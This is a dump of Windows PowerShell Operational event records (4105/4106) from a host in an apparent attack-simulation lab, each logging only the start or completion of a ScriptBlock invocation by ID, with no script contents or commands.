OpCode=On create calls
RecordNumber=2026224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026211
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026210
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026209
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026208
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026187
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026181
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
